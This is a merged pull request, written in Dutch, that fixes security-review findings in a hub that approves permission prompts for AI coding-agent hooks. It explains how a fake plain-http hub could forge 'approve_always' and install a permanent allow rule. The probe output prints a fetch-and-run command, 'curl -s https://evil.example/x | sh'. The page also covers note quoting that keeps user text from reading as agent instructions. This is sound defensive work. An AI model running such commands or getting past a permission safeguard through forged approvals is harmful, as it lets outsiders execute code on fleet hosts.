fix(hub): alle bevindingen uit de M34 security-review #160

Merged
janpeter merged 4 commits from fix/hub-decision-signature into main 2026-08-14 13:15:55 +02:00
Owner

Uit de security-review van M34. Dit sluit de enige bevinding die ik als "vóór rollout oplossen" bestempelde.

Het probleem

De telefoon ondertekent zijn antwoord met ECDSA richting de server, maar op het traject server → hook zat daar niets van, en HUB_URL werd nergens op scheme gecontroleerd.

Een probe met een neppe hub op plain http, die niets anders doet dan {"status":"answered","answer":"approve_always"} terugsturen:

hook-besluit : {"permissionDecision":"allow","permissionDecisionReason":"S4M Hub"}
settings      : { "permissions": { "allow": ["Bash(curl -s https://evil.example/x | sh)"] } }
register      : { "rules": [{ "rule": "Bash(curl -s https://evil.example/x | sh)", … }] }

Geen telefoon, geen tik. Wie het netwerkpad, de DNS of de HUB_URL beheerste, keurde elke permission-prompt op elke fleet-host goed. M31 had dit al voor een eenmalige allow; M34 verhoogde de inzet naar een permanente regel.

Maatregel 1 — https vereist

isSecureHubUrl weigert alles behalve https, met een uitzondering voor loopback (localhost, 127.0.0.0/8, [::1]) — het runbook gebruikt bewust http://localhost:3000 voor de rooktest, en daar bestaat geen af te luisteren pad. Bij een onveilige URL raadpleegt de hook de hub niet en meldt dat op stderr; de prompt valt terug naar de terminal.

Maatregel 2 — het besluit is ondertekend

Beide wait-routes sturen een sig mee: HMAC-SHA256 met het ingest-secret over JSON.stringify([approvalId, status, answer, note]). De hook verifieert die vóór hij handelt. Dat bindt het besluit aan dit verzoek én aan het exacte antwoord — een handtekening van een andere approval, of over een ander antwoord, past niet.

Een JSON-array en geen \n-join: answer en note zijn vrije tekst en mogen newlines bevatten. Bij een join zouden (answer "x\ny", note "") en (answer "x", note "y") dezelfde handtekening delen; daar is een test voor.

signedDecisionBody bouwt body én handtekening in één keer, zodat de ondertekende velden per constructie de verzonden velden zijn.

Wat dit niet afdekt: het secret is symmetrisch, dus een gecompromitteerde hub-server kan wél tekenen. De maatregel sluit het transport af, niet de server. Dat staat zo in het runbook.

Drift

De canonieke vorm staat noodgedwongen twee keer — de hook is bewust dependency-vrij en kan de lib niet importeren. __tests__/lib/hub/decision-signature.test.ts laadt beide kanten en faalt zodra ze uiteenlopen. Dat is de enige bescherming die hier werkt.

Geverifieerd

De oorspronkelijke exploit-probe levert nu geen besluit, geen settings en geen register meer op.

RED-controle op beide maatregelen, niet alleen groen achteraf:

canonieke vorm terug naar een \n-join  -> 3 failures (drift + beide accept-tests)
isSecureHubUrl altijd true             -> 2 failures (http-host + schema-onzin)

Nieuwe end-to-end tests spawnen het echte hookproces tegen een neppe hub. Drie varianten worden genegeerd — ongetekend, getekend met het verkeerde secret, en getekend over een ander antwoord — met assertie op zowel de lege stdout als het uitblijven van settings.local.json. De bestaande "onvoorwaardelijke allow"-test tekent nu zoals de echte route, en is daarmee het bewijs dat een geldige handtekening het gespawnde proces wél passeert.

npm run verify: 2005 tests groen (+19). Volledige gate in een wegwerp-clone op de gepushte SHA — uitkomst onderaan.

Uitrolvolgorde

Eerst de server, dan de hooks op de hosts. Een nieuwe hook tegen een oude server krijgt geen handtekening, weigert elk besluit en meldt dat op stderr: fail-closed en veilig, maar je bent de hub kwijt tot de server bij is. Andersom werkt ongestoord — een oude hook negeert het veld.

De overige bevindingen (tweede commit)

Afkapping was onzichtbaar. Een commando van 655 tekens werd een samenvatting van 500, middenin afgekapt, zonder enig teken dat er iets ontbrak — je keurde een prefix goed terwijl de staart meedraaide. summarize zet er nu [… N tekens afgekapt en dus NIET zichtbaar] achter en knipt nooit midden in een surrogate pair. Een afgekapte input blijft niet-persisteerbaar, dus dit raakt alleen de eenmalige goedkeuring — maar juist die werd blind gegeven.

De aanwijzing bij "weiger" komt van de telefoon en landt in permissionDecisionReason, dus in de context van de agent. userNoteReason citeert hem nu expliciet als gebruikerstekst en niet als systeeminstructie. Bewust los van hookOutput: die wordt ook met interne redenen aangeroepen (S4M Hub allowlist) en die zijn geen citaat.

resolveWaitable was niet user-scoped. Het ingest-secret zegt "een fleet-host", niet "wélke gebruiker"; elke id leverde status, antwoord én aanwijzing van een willekeurige approval. Nu dezelfde scope als answerApproval. Vandaag single-tenant en dus onopvallend, bij een tweede gebruiker een horizontaal gat.

De commandotekst gaat ook langs Apple. APNs-alert-bodies zijn voor Apple leesbaar; end-to-end-versleuteling bestaat daar niet voor. Dit is de enige bevinding die hier niet met code is opgelost — hij staat als bekende eigenschap in het runbook, mét de consequentie: een secret in een commando is buiten je eigen infrastructuur geweest, en roteren is dan het enige echte antwoord. Bewust géén regex-redactie: die mist gevallen en levert vooral vals vertrouwen op.

Mijn eerste formulering hierbij ("valt niet te fixen zonder M34's kern weg te nemen") was te stellig en is gecorrigeerd in een aparte commit. Het is wél verkleinbaar: een push met alleen een id plus een onschuldige kop, waarna de NSE de volledige tekst ophaalt en de body invult. Dat raakt het payload-contract, de app en de e2e-gate, dus het is vastgelegd als IDEA-181 in plaats van er hier bij gebouwd.

RED-controle ook hier op alle drie de codewijzigingen: markering weghalen maakt 2 tests rood, de note kaal teruggeven 1, de user-scope weghalen 1.

Buiten scope

scripts/hub-ask.mjs verifieert bewust niet: dat is een generieke vraag-client, geen autorisatiepad. Het extra veld negeert hij.

Let op bij mergen

De commit-messages beschrijven het lek expliciet en die tekst mirrort mee naar GitHub. De fix zit in dezelfde commits, maar de fleet-hosts draaien de oude hook tot je ze bijwerkt — werk de hosts dus bij vóór of tegelijk met de mirror-sync, niet erna.

GATE GROEN op 1f5bcfd4d5b32f9c028aaae13620b07fd234d183
Uit de security-review van M34. Dit sluit de enige bevinding die ik als "vóór rollout oplossen" bestempelde. ## Het probleem De telefoon ondertekent zijn antwoord met ECDSA richting de server, maar op het traject **server → hook** zat daar niets van, en `HUB_URL` werd nergens op scheme gecontroleerd. Een probe met een neppe hub op plain `http`, die niets anders doet dan `{"status":"answered","answer":"approve_always"}` terugsturen: ``` hook-besluit : {"permissionDecision":"allow","permissionDecisionReason":"S4M Hub"} settings : { "permissions": { "allow": ["Bash(curl -s https://evil.example/x | sh)"] } } register : { "rules": [{ "rule": "Bash(curl -s https://evil.example/x | sh)", … }] } ``` Geen telefoon, geen tik. Wie het netwerkpad, de DNS of de `HUB_URL` beheerste, keurde elke permission-prompt op elke fleet-host goed. M31 had dit al voor een eenmalige `allow`; M34 verhoogde de inzet naar een **permanente** regel. ## Maatregel 1 — https vereist `isSecureHubUrl` weigert alles behalve `https`, met een uitzondering voor loopback (`localhost`, `127.0.0.0/8`, `[::1]`) — het runbook gebruikt bewust `http://localhost:3000` voor de rooktest, en daar bestaat geen af te luisteren pad. Bij een onveilige URL raadpleegt de hook de hub niet en meldt dat op stderr; de prompt valt terug naar de terminal. ## Maatregel 2 — het besluit is ondertekend Beide wait-routes sturen een `sig` mee: HMAC-SHA256 met het ingest-secret over `JSON.stringify([approvalId, status, answer, note])`. De hook verifieert die vóór hij handelt. Dat bindt het besluit aan *dit* verzoek én aan het exacte antwoord — een handtekening van een andere approval, of over een ander antwoord, past niet. Een JSON-array en geen `\n`-join: `answer` en `note` zijn vrije tekst en mogen newlines bevatten. Bij een join zouden (answer `"x\ny"`, note `""`) en (answer `"x"`, note `"y"`) dezelfde handtekening delen; daar is een test voor. `signedDecisionBody` bouwt body én handtekening in één keer, zodat de ondertekende velden per constructie de verzonden velden zijn. **Wat dit niet afdekt:** het secret is symmetrisch, dus een gecompromitteerde hub-server kan wél tekenen. De maatregel sluit het transport af, niet de server. Dat staat zo in het runbook. ## Drift De canonieke vorm staat noodgedwongen twee keer — de hook is bewust dependency-vrij en kan de lib niet importeren. `__tests__/lib/hub/decision-signature.test.ts` laadt **beide** kanten en faalt zodra ze uiteenlopen. Dat is de enige bescherming die hier werkt. ## Geverifieerd De oorspronkelijke exploit-probe levert nu geen besluit, geen settings en geen register meer op. RED-controle op beide maatregelen, niet alleen groen achteraf: ``` canonieke vorm terug naar een \n-join -> 3 failures (drift + beide accept-tests) isSecureHubUrl altijd true -> 2 failures (http-host + schema-onzin) ``` Nieuwe end-to-end tests spawnen het echte hookproces tegen een neppe hub. Drie varianten worden genegeerd — ongetekend, getekend met het verkeerde secret, en getekend over een *ander* antwoord — met assertie op zowel de lege stdout als het uitblijven van `settings.local.json`. De bestaande "onvoorwaardelijke allow"-test tekent nu zoals de echte route, en is daarmee het bewijs dat een geldige handtekening het gespawnde proces wél passeert. `npm run verify`: 2005 tests groen (+19). Volledige gate in een wegwerp-clone op de gepushte SHA — uitkomst onderaan. ## Uitrolvolgorde Eerst de server, dan de hooks op de hosts. Een nieuwe hook tegen een oude server krijgt geen handtekening, weigert elk besluit en meldt dat op stderr: fail-closed en veilig, maar je bent de hub kwijt tot de server bij is. Andersom werkt ongestoord — een oude hook negeert het veld. ## De overige bevindingen (tweede commit) **Afkapping was onzichtbaar.** Een commando van 655 tekens werd een samenvatting van 500, middenin afgekapt, zonder enig teken dat er iets ontbrak — je keurde een prefix goed terwijl de staart meedraaide. `summarize` zet er nu `[… N tekens afgekapt en dus NIET zichtbaar]` achter en knipt nooit midden in een surrogate pair. Een afgekapte input blijft niet-persisteerbaar, dus dit raakt alleen de eenmalige goedkeuring — maar juist die werd blind gegeven. **De aanwijzing bij "weiger"** komt van de telefoon en landt in `permissionDecisionReason`, dus in de context van de agent. `userNoteReason` citeert hem nu expliciet als gebruikerstekst en niet als systeeminstructie. Bewust los van `hookOutput`: die wordt ook met interne redenen aangeroepen (`S4M Hub allowlist`) en die zijn geen citaat. **`resolveWaitable` was niet user-scoped.** Het ingest-secret zegt "een fleet-host", niet "wélke gebruiker"; elke id leverde status, antwoord én aanwijzing van een willekeurige approval. Nu dezelfde scope als `answerApproval`. Vandaag single-tenant en dus onopvallend, bij een tweede gebruiker een horizontaal gat. **De commandotekst gaat ook langs Apple.** APNs-alert-bodies zijn voor Apple leesbaar; end-to-end-versleuteling bestaat daar niet voor. Dit is de enige bevinding die hier niet met code is opgelost — hij staat als bekende eigenschap in het runbook, mét de consequentie: een secret in een commando is buiten je eigen infrastructuur geweest, en roteren is dan het enige echte antwoord. Bewust géén regex-redactie: die mist gevallen en levert vooral vals vertrouwen op. Mijn eerste formulering hierbij ("valt niet te fixen zonder M34's kern weg te nemen") was te stellig en is gecorrigeerd in een aparte commit. Het is wél verkleinbaar: een push met alleen een id plus een onschuldige kop, waarna de NSE de volledige tekst ophaalt en de body invult. Dat raakt het payload-contract, de app en de e2e-gate, dus het is vastgelegd als **IDEA-181** in plaats van er hier bij gebouwd. RED-controle ook hier op alle drie de codewijzigingen: markering weghalen maakt 2 tests rood, de note kaal teruggeven 1, de user-scope weghalen 1. ## Buiten scope `scripts/hub-ask.mjs` verifieert bewust niet: dat is een generieke vraag-client, geen autorisatiepad. Het extra veld negeert hij. ## Let op bij mergen De commit-messages beschrijven het lek expliciet en die tekst mirrort mee naar GitHub. De fix zit in dezelfde commits, maar de fleet-hosts draaien de oude hook tot je ze bijwerkt — werk de hosts dus bij vóór of tegelijk met de mirror-sync, niet erna. ``` GATE GROEN op 1f5bcfd4d5b32f9c028aaae13620b07fd234d183 ```
Uit de security-review van M34. De telefoon ondertekent zijn antwoord met ECDSA
naar de server, maar op het traject server → hook zat daar niets van, en de
HUB_URL werd nergens op scheme gecontroleerd. Een probe met een neppe hub op
plain http leverde `permissionDecision: allow` op én een permanente allow-regel
in .claude/settings.local.json, zonder dat er een telefoon aan te pas kwam. Wie
het netwerkpad, de DNS of de HUB_URL beheerste, keurde daarmee elke
permission-prompt op elke fleet-host goed. M31 had dit al voor een eenmalige
allow; M34 verhoogde de inzet naar een permanente regel.

Twee maatregelen:

1. `isSecureHubUrl` weigert alles behalve https, met een uitzondering voor
   loopback — het runbook gebruikt bewust `http://localhost:3000` voor de
   rooktest, en daar bestaat geen af te luisteren pad. Bij een onveilige URL
   raadpleegt de hook de hub niet en meldt dat op stderr; de harness vraagt het
   dan gewoon in de terminal (fail-closed).

2. Beide wait-routes sturen een `sig` mee: HMAC-SHA256 met het ingest-secret
   over `JSON.stringify([approvalId, status, answer, note])`. De hook verifieert
   die vóór hij handelt. Een JSON-array en geen `\n`-join, want answer en note
   zijn vrije tekst: bij een join zouden (answer "x\ny", note "") en
   (answer "x", note "y") dezelfde handtekening delen.

De canonieke vorm staat noodgedwongen twee keer — de hook is dependency-vrij en
kan de lib niet importeren. `__tests__/lib/hub/decision-signature.test.ts` laadt
beide kanten en faalt zodra ze uiteenlopen; dat is de enige bescherming tegen
stille drift. `signedDecisionBody` bouwt body én handtekening in één keer, zodat
de ondertekende velden per constructie de verzonden velden zijn.

Wat dit niet afdekt: het secret is symmetrisch, dus een gecompromitteerde
hub-server kan wél tekenen. Dat staat zo in het runbook.

Geverifieerd: de oorspronkelijke exploit-probe levert nu geen besluit, geen
settings en geen register meer op. RED-controle gedaan op beide maatregelen —
canonieke vorm terug naar een join maakt de drift-test rood (3 failures), de
URL-gate altijd-true maakt de http-tests rood (2 failures). Nieuwe end-to-end
tests spawnen het echte hookproces tegen een neppe hub: ongetekend, getekend met
het verkeerde secret, en getekend over een ánder antwoord worden alle drie
genegeerd. npm run verify groen: 2005 tests.

`scripts/hub-ask.mjs` verifieert bewust niet — dat is een generieke vraag-client,
geen autorisatiepad; het extra veld negeert hij.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
docs(hub): leg de besluit-handtekening en de https-eis vast
All checks were successful
CI / Lint, Typecheck, Test & Build (pull_request) Successful in 5m34s
CI / Deploy Manual (workflow_dispatch) (pull_request) Has been skipped
CI / Detect deploy-relevant changes (pull_request) Has been skipped
CI / Deploy Preview (PR) (pull_request) Has been skipped
CI / Deploy Production (main) (pull_request) Has been skipped
c3ad2fc569
Inclusief de uitrolvolgorde: eerst server, dan de hooks op de hosts. Een nieuwe
hook tegen een oude server weigert elk besluit (fail-closed, prompt valt terug
naar de terminal); andersom werkt ongestoord.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
s4m-codex-reviewer approved these changes 2026-08-14 12:51:33 +02:00
Dismissed
s4m-codex-reviewer left a comment

APPROVED

geen gekoppeld plan gevonden — beoordeeld op codekwaliteit + product-standaarden.

Findings

  • Geen blokkerende of noemenswaardige findings gevonden.

Review-notities

  • De wait-routes ondertekenen nu approvalId, status, answer en note samen via HMAC, waardoor replay/tampering tussen hub en hook fail-closed wordt.
  • De hook weigert beslissingen zonder geldige signature voordat decideFromStatus of persistente allow-regels in beeld komen.
  • De HTTPS-gate voor HUB_URL is gedocumenteerd en getest, met expliciete loopback-uitzondering voor lokale rooktests.
  • Tests dekken server/hook-canonicalisatie, verkeerde secrets, gewijzigde antwoorden/notes, replay en de insecure-HTTP-gate.
# APPROVED geen gekoppeld plan gevonden — beoordeeld op codekwaliteit + product-standaarden. ## Findings - Geen blokkerende of noemenswaardige findings gevonden. ## Review-notities - De wait-routes ondertekenen nu `approvalId`, `status`, `answer` en `note` samen via HMAC, waardoor replay/tampering tussen hub en hook fail-closed wordt. - De hook weigert beslissingen zonder geldige signature voordat `decideFromStatus` of persistente allow-regels in beeld komen. - De HTTPS-gate voor `HUB_URL` is gedocumenteerd en getest, met expliciete loopback-uitzondering voor lokale rooktests. - Tests dekken server/hook-canonicalisatie, verkeerde secrets, gewijzigde antwoorden/notes, replay en de insecure-HTTP-gate.
fix(hub): maak afkapping zichtbaar, citeer de aanwijzing, scope wait op gebruiker
Some checks failed
CI / Detect deploy-relevant changes (pull_request) Has been cancelled
CI / Deploy Preview (PR) (pull_request) Has been cancelled
CI / Deploy Production (main) (pull_request) Has been cancelled
CI / Deploy Manual (workflow_dispatch) (pull_request) Has been cancelled
CI / Lint, Typecheck, Test & Build (pull_request) Has been cancelled
6427172478
De resterende drie bevindingen uit de security-review van M34, plus de vierde die
alleen documentatie kon zijn.

**Afkapping was onzichtbaar.** Een commando van 655 tekens werd een samenvatting
van 500, middenin afgekapt, zonder enig teken dat er iets ontbrak — je keurde een
prefix goed terwijl de staart meedraaide. `summarize` zet er nu
`[… N tekens afgekapt en dus NIET zichtbaar]` achter en knipt nooit midden in een
surrogate pair. Een afgekapte input blijft niet-persisteerbaar, dus dit raakt
alleen de eenmalige goedkeuring — maar juist die werd blind gegeven.

**De aanwijzing bij "weiger" komt van de telefoon** en landt in
`permissionDecisionReason`, dus in de context van de agent. `userNoteReason`
citeert hem nu expliciet als gebruikerstekst en niet als systeeminstructie. Los
gehouden van `hookOutput`, want die wordt ook aangeroepen met interne redenen
('S4M Hub allowlist') die geen citaat zijn.

**`resolveWaitable` was niet user-scoped.** Het ingest-secret zegt "een
fleet-host", niet "wélke gebruiker"; elke id leverde status, antwoord én
aanwijzing van een willekeurige approval. Nu dezelfde scope als
`answerApproval`. Vandaag single-tenant en dus onopvallend, bij een tweede
gebruiker een horizontaal gat.

**De commandotekst gaat ook langs Apple** — APNs-alert-bodies zijn voor Apple
leesbaar. Dat valt niet te fixen zonder M34's kern weg te nemen (kiezen op de
push vereist leesbare tekst), dus het staat nu als bekende eigenschap in het
runbook, mét de consequentie: een secret in een commando is buiten je eigen
infrastructuur geweest en roteren is het enige echte antwoord.

RED-controle op alle drie de codewijzigingen: markering weghalen maakt 2 tests
rood, de note kaal teruggeven 1, de user-scope weghalen 1. npm run verify groen:
2012 tests.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
docs(hub): de APNs-blootstelling is verkleinbaar, niet onvermijdelijk
All checks were successful
CI / Lint, Typecheck, Test & Build (pull_request) Successful in 4m25s
CI / Deploy Manual (workflow_dispatch) (pull_request) Has been skipped
CI / Detect deploy-relevant changes (pull_request) Has been skipped
CI / Deploy Preview (PR) (pull_request) Has been skipped
CI / Deploy Production (main) (pull_request) Has been skipped
1f5bcfd4d5
Mijn eerdere formulering ("valt niet te fixen zonder M34's kern weg te nemen")
was te stellig. Een push met alleen een id plus een onschuldige kop, waarna de
NSE de volledige tekst ophaalt en de body invult, houdt de commandotekst bij
Apple weg zonder het kiezen-op-de-push op te geven. De prijs is de tijdslimiet
van de NSE: wordt die overgeslagen, dan resteert de kop. Dat is een wijziging
aan het payload-contract, geen hygiëne-maatregel — opgeschreven als follow-up.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
s4m-codex-reviewer approved these changes 2026-08-14 13:00:59 +02:00
Dismissed
s4m-codex-reviewer left a comment

Verdict: APPROVED

Geen gekoppeld plan gevonden — beoordeeld op codekwaliteit + product-standaarden.

Findings

  • Geen blokkerende findings.

De diff volgt de hub permission-hook runbook-richting: onveilige non-loopback http wordt vóór netwerkgebruik geweigerd, wait-besluiten worden met het ingest-secret aan approvalId/status/answer/note gebonden, en de hook faalt gesloten bij ontbrekende of ongeldige signatures. De extra user-note quoting en zichtbare truncation-markering sluiten logisch aan op de bestaande permission-hook risico's.

Tests zijn passend uitgebreid voor server-signing, hook-verificatie, replay/forgery, user-scope op resolveWaitable, insecure HUB_URL, en de end-to-end writer-flow.

# Verdict: APPROVED Geen gekoppeld plan gevonden — beoordeeld op codekwaliteit + product-standaarden. ## Findings - Geen blokkerende findings. De diff volgt de hub permission-hook runbook-richting: onveilige non-loopback `http` wordt vóór netwerkgebruik geweigerd, wait-besluiten worden met het ingest-secret aan `approvalId/status/answer/note` gebonden, en de hook faalt gesloten bij ontbrekende of ongeldige signatures. De extra user-note quoting en zichtbare truncation-markering sluiten logisch aan op de bestaande permission-hook risico's. Tests zijn passend uitgebreid voor server-signing, hook-verificatie, replay/forgery, user-scope op `resolveWaitable`, insecure `HUB_URL`, en de end-to-end writer-flow.
janpeter changed title from fix(hub): bind het besluit aan het verzoek en eis https voor HUB_URL to fix(hub): alle bevindingen uit de M34 security-review 2026-08-14 13:02:33 +02:00
s4m-codex-reviewer left a comment

Verdict: APPROVED

Geen gekoppeld plan gevonden — beoordeeld op codekwaliteit + product-standaarden.

Findings

  • Geen findings.

De diff is consistent met de hub-permission-hook runbookrichting en de relevante route/securitypatronen. De security-fixes zijn server- en hook-zijdig afgedekt met gerichte regressietests voor unsigned/gewijzigde decisions, replay over een andere approvalId, verkeerde secrets, onveilige HUB_URLs, zichtbare truncatie en geciteerde user-notes.

# Verdict: APPROVED Geen gekoppeld plan gevonden — beoordeeld op codekwaliteit + product-standaarden. ## Findings - Geen findings. De diff is consistent met de hub-permission-hook runbookrichting en de relevante route/securitypatronen. De security-fixes zijn server- en hook-zijdig afgedekt met gerichte regressietests voor unsigned/gewijzigde decisions, replay over een andere approvalId, verkeerde secrets, onveilige HUB_URLs, zichtbare truncatie en geciteerde user-notes.
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
2 participants
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
janpeter/Scrum4Me!160
No description provided.